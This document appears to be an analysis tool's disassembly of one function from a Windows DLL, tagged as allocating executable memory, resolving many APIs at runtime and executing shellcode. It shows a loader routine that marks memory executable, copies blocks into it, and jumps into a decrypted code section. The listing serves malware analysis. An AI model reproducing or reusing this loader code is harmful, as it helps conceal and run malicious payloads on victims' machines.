Function at 0x10001250
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
lea eax, [ebp - 4]
mov dword [ebp - 4], 0x40
push eax
push 0x40
push 0xaa000
push 0x100533b0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0x67000
push 0x10101658
push 0x100543b0
call fcn.10002f20
push 0x1d000
push 0x100358e0
push 0x100bb3b0
call fcn.10002f20
push 0x20000
push 0x100158e0
push 0x100d83b0
call fcn.10002f20
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
add esp, 0x24
push 0x10012f34
call ebx
mov edi, eax
test edi, edi
je 0x10001af6
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x10012f44
push edi
call esi
mov dword [0x100bb3b0], eax
test eax, eax
je 0x10001af6
push 0x10012f5c
push edi
call esi
mov dword [0x100bb3b4], eax
test eax, eax
je 0x10001af6
push 0x10012f6c
push edi
call esi
mov dword [0x100bb3b8], eax
test eax, eax
je 0x10001af6
push 0x10012f84
push edi
call esi
mov dword [0x100bb3bc], eax
test eax, eax
je 0x10001af6
push 0x10012f9c
push edi
call esi
mov dword [0x100bb3c0], eax
test eax, eax
je 0x10001af6
push 0x10012fb4
push edi
call esi
mov dword [0x100bb3c4], eax
test eax, eax
je 0x10001af6
push 0x10012fc8
push edi
call esi
mov dword [0x100bb3c8], eax
test eax, eax
je 0x10001af6
push 0x10012fdc
push edi
call esi
mov dword [0x100bb3cc], eax
test eax, eax
je 0x10001af6
push 0x10012fec
push edi
call esi
mov dword [0x100bb3d0], eax
test eax, eax
je 0x10001af6
push 0x10012ffc
push edi
call esi
mov dword [0x100bb3d4], eax
test eax, eax
je 0x10001af6
push 0x10013008
push edi
call esi
mov dword [0x100bb3d8], eax
test eax, eax
je 0x10001af6
push 0x10013020
push edi
call esi
mov dword [0x100bb3dc], eax
test eax, eax
je 0x10001af6
push 0x10013030
push edi
call esi
mov dword [0x100bb3e0], eax
test eax, eax
je 0x10001af6
push 0x10013044
push edi
call esi
mov dword [0x100bb3e4], eax
test eax, eax
je 0x10001af6
push 0x10013054
push edi
call esi
mov dword [0x100bb3e8], eax
test eax, eax
je 0x10001af6
push 0x10013068
push edi
call esi
mov dword [0x100bb3ec], eax
test eax, eax
je 0x10001af6
push 0x1001307c
push edi
call esi
mov dword [0x100bb3f0], eax
test eax, eax
je 0x10001af6
push 0x10013094
push edi
call esi
mov dword [0x100bb3f4], eax
test eax, eax
je 0x10001af6
push 0x100130a4
push edi
call esi
mov dword [0x100bb3f8], eax
test eax, eax
je 0x10001af6
push 0x100130b8
push edi
call esi
mov dword [0x100bb3fc], eax
test eax, eax
je 0x10001af6
push 0x100130cc
push edi
call esi
mov dword [0x100bb400], eax
test eax, eax
je 0x10001af6
push 0x100130dc
push edi
call esi
mov dword [0x100bb404], eax
test eax, eax
je 0x10001af6
push 0x100130e8
push edi
call esi
mov dword [0x100bb408], eax
test eax, eax
je 0x10001af6
push 0x100130f4
push edi
call esi
mov dword [0x100bb40c], eax
test eax, eax
je 0x10001af6
push 0x10013110
push edi
call esi
mov dword [0x100bb410], eax
test eax, eax
je 0x10001af6
push 0x1001311c
push edi
call esi
mov dword [0x100bb414], eax
test eax, eax
je 0x10001af6
push 0x10013130
push edi
call esi
mov dword [0x100bb418], eax
test eax, eax
je 0x10001af6
push 0x10013140
push edi
call esi
mov dword [0x100bb41c], eax
test eax, eax
je 0x10001af6
push 0x1001314c
push edi
call esi
mov dword [0x100bb420], eax
test eax, eax
je 0x10001af6
push 0x10013158
push edi
call esi
mov dword [0x100bb424], eax
test eax, eax
je 0x10001af6
push 0x1001316c
push edi
call esi
mov dword [0x100bb428], eax
test eax, eax
je 0x10001af6
push 0x10013180
push edi
call esi
mov dword [0x100bb42c], eax
test eax, eax
je 0x10001af6
push 0x1001319c
push edi
call esi
mov dword [0x100bb430], eax
test eax, eax
je 0x10001af6
push 0x100131a8
push edi
call esi
mov dword [0x100bb434], eax
test eax, eax
je 0x10001af6
push 0x100131c4
push edi
call esi
mov dword [0x100bb438], eax
test eax, eax
je 0x10001af6
push 0x100131d0
push edi
call esi
mov dword [0x100bb43c], eax
test eax, eax
je 0x10001af6
push 0x100131dc
push edi
call esi
mov dword [0x100bb440], eax
test eax, eax
je 0x10001af6
push 0x100131e8
push edi
call esi
mov dword [0x100bb444], eax
test eax, eax
je 0x10001af6
push 0x100131f8
push edi
call esi
mov dword [0x100bb448], eax
test eax, eax
je 0x10001af6
push 0x10013208
push edi
call esi
mov dword [0x100bb44c], eax
test eax, eax
je 0x10001af6
push 0x10013218
push edi
call esi
mov dword [0x100bb450], eax
test eax, eax
je 0x10001af6
push 0x10013228
push edi
call esi
mov dword [0x100bb454], eax
test eax, eax
je 0x10001af6
push 0x10013234
push edi
call esi
mov dword [0x100bb458], eax
test eax, eax
je 0x10001af6
push 0x10013244
push edi
call esi
mov dword [0x100bb45c], eax
test eax, eax
je 0x10001af6
push 0x1001325c
push edi
call esi
mov dword [0x100bb460], eax
test eax, eax
je 0x10001af6
push 0x10013274
push edi
call esi
mov dword [0x100bb464], eax
test eax, eax
je 0x10001af6
push 0x10013284
push edi
call esi
mov dword [0x100bb468], eax
test eax, eax
je 0x10001af6
push 0x10013294
push edi
call esi
mov dword [0x100bb46c], eax
test eax, eax
je 0x10001af6
push 0x100132a0
push edi
call esi
mov dword [0x100bb470], eax
test eax, eax
je 0x10001af6
push 0x100132ac
push edi
call esi
mov dword [0x100bb474], eax
test eax, eax
je 0x10001af6
push 0x100132b4
push edi
call esi
mov dword [0x100bb478], eax
test eax, eax
je 0x10001af6
push 0x100132c8
push edi
call esi
mov dword [0x100bb47c], eax
test eax, eax
je 0x10001af6
push 0x100132dc
push edi
call esi
mov dword [0x100bb480], eax
test eax, eax
je 0x10001af6
push 0x100132ec
push edi
call esi
mov dword [0x100bb484], eax
test eax, eax
je 0x10001af6
push 0x10013308
push edi
call esi
mov dword [0x100bb488], eax
test eax, eax
je 0x10001af6
push 0x10013324
push edi
call esi
mov dword [0x100bb48c], eax
test eax, eax
je 0x10001af6
push 0x10013338
push edi
call esi
mov dword [0x100bb490], eax
test eax, eax
je 0x10001af6
push 0x10013348
push edi
call esi
mov dword [0x100bb494], eax
test eax, eax
je 0x10001af6
push 0x1001335c
push edi
call esi
mov dword [0x100bb498], eax
test eax, eax
je 0x10001af6
push 0x10013370
push edi
call esi
mov dword [0x100bb49c], eax
test eax, eax
je 0x10001af6
push 0x1001337c
push edi
call esi
mov dword [0x100bb4a0], eax
test eax, eax
je 0x10001af6
push 0x10013394
push edi
call esi
mov dword [0x100bb4a4], eax
test eax, eax
je 0x10001af6
push 0x100133a4
push edi
call esi
mov dword [0x100bb4a8], eax
test eax, eax
je 0x10001af6
push 0x100133b4
push edi
call esi
mov dword [0x100bb4ac], eax
test eax, eax
je 0x10001af6
push 0x100133dc
push edi
call esi
mov dword [0x100bb4b0], eax
test eax, eax
je 0x10001af6
push 0x100133e8
push edi
call esi
mov dword [0x100bb4b4], eax
test eax, eax
je 0x10001af6
push 0x100133f4
push edi
call esi
mov dword [0x100bb4b8], eax
test eax, eax
je 0x10001af6
push 0x10013400
push edi
call esi
mov dword [0x100bb4bc], eax
test eax, eax
je 0x10001af6
push 0x10013408
push edi
call esi
mov dword [0x100bb4c0], eax
test eax, eax
je 0x10001af6
push 0x10013418
push edi
call esi
mov dword [0x100bb4c4], eax
test eax, eax
je 0x10001af6
push 0x10013424
push edi
call esi
mov dword [0x100bb4c8], eax
test eax, eax
je 0x10001af6
push 0x10013438
push edi
call esi
mov dword [0x100bb4cc], eax
test eax, eax
je 0x10001af6
push 0x10013448
push edi
call esi
mov dword [0x100bb4d0], eax
test eax, eax
je 0x10001af6
push 0x10013454
push edi
call esi
mov dword [0x100bb4d4], eax
test eax, eax
je 0x10001af6
push 0x10013470
push edi
call esi
mov dword [0x100bb4d8], eax
test eax, eax
je 0x10001af6
push 0x1001347c
push edi
call esi
mov dword [0x100bb4dc], eax
test eax, eax
je 0x10001af6
push 0x10013490
push edi
call esi
mov dword [0x100bb4e0], eax
test eax, eax
je 0x10001af6
push 0x100134a0
push edi
call esi
mov dword [0x100bb4e4], eax
test eax, eax
je 0x10001af6
push 0x100134b0
push edi
call esi
mov dword [0x100bb4e8], eax
test eax, eax
je 0x10001af6
push 0x100134c0
push edi
call esi
mov dword [0x100bb4ec], eax
test eax, eax
je 0x10001af6
push 0x100134cc
push edi
call esi
mov dword [0x100bb4f0], eax
test eax, eax
je 0x10001af6
push 0x100134e0
push edi
call esi
mov dword [0x100bb4f4], eax
test eax, eax
je 0x10001af6
push 0x100134f0
push edi
call esi
mov dword [0x100bb4f8], eax
test eax, eax
je 0x10001af6
push 0x10013504
push edi
call esi
mov dword [0x100bb4fc], eax
test eax, eax
je 0x10001af6
push 0x10013514
push edi
call esi
mov dword [0x100bb500], eax
test eax, eax
je 0x10001af6
push 0x10013520
push edi
call esi
mov dword [0x100bb504], eax
test eax, eax
je 0x10001af6
push 0x10013534
push edi
call esi
mov dword [0x100bb508], eax
test eax, eax
je 0x10001af6
push 0x10013540
push edi
call esi
mov dword [0x100bb50c], eax
test eax, eax
je 0x10001af6
push 0x10013554
push edi
call esi
mov dword [0x100bb510], eax
test eax, eax
je 0x10001af6
push 0x10013564
push edi
call esi
mov dword [0x100bb514], eax
test eax, eax
je 0x10001af6
push 0x10013574
push edi
call esi
mov dword [0x100bb518], eax
test eax, eax
je 0x10001af6
push 0x10013584
call ebx
test eax, eax
je 0x10001af6
push 0x10013590
push eax
call esi
mov dword [0x100bb534], eax
test eax, eax
je 0x10001af6
push 0x1001359c
call ebx
mov edi, eax
test edi, edi
je 0x10001af6
push 9
push edi
call esi
mov dword [0x100bb520], eax
test eax, eax
je 0x10001af6
push 7
push edi
call esi
mov dword [0x100bb524], eax
test eax, eax
je 0x10001af6
push 6
push edi
call esi
mov dword [0x100bb528], eax
test eax, eax
je 0x10001af6
push 4
push edi
call esi
mov dword [0x100bb52c], eax
test eax, eax
je 0x10001af6
lea eax, [ebp - 4]
push eax
push 0x40
push 0x3652
push section..text_1
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0x10001050
push 0x10001020
push dword [0x100fd3b4]
mov eax, section..text_1
call eax
add esp, 0xc
mov dword [0x100fd3b0], 0x100a3a5b
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret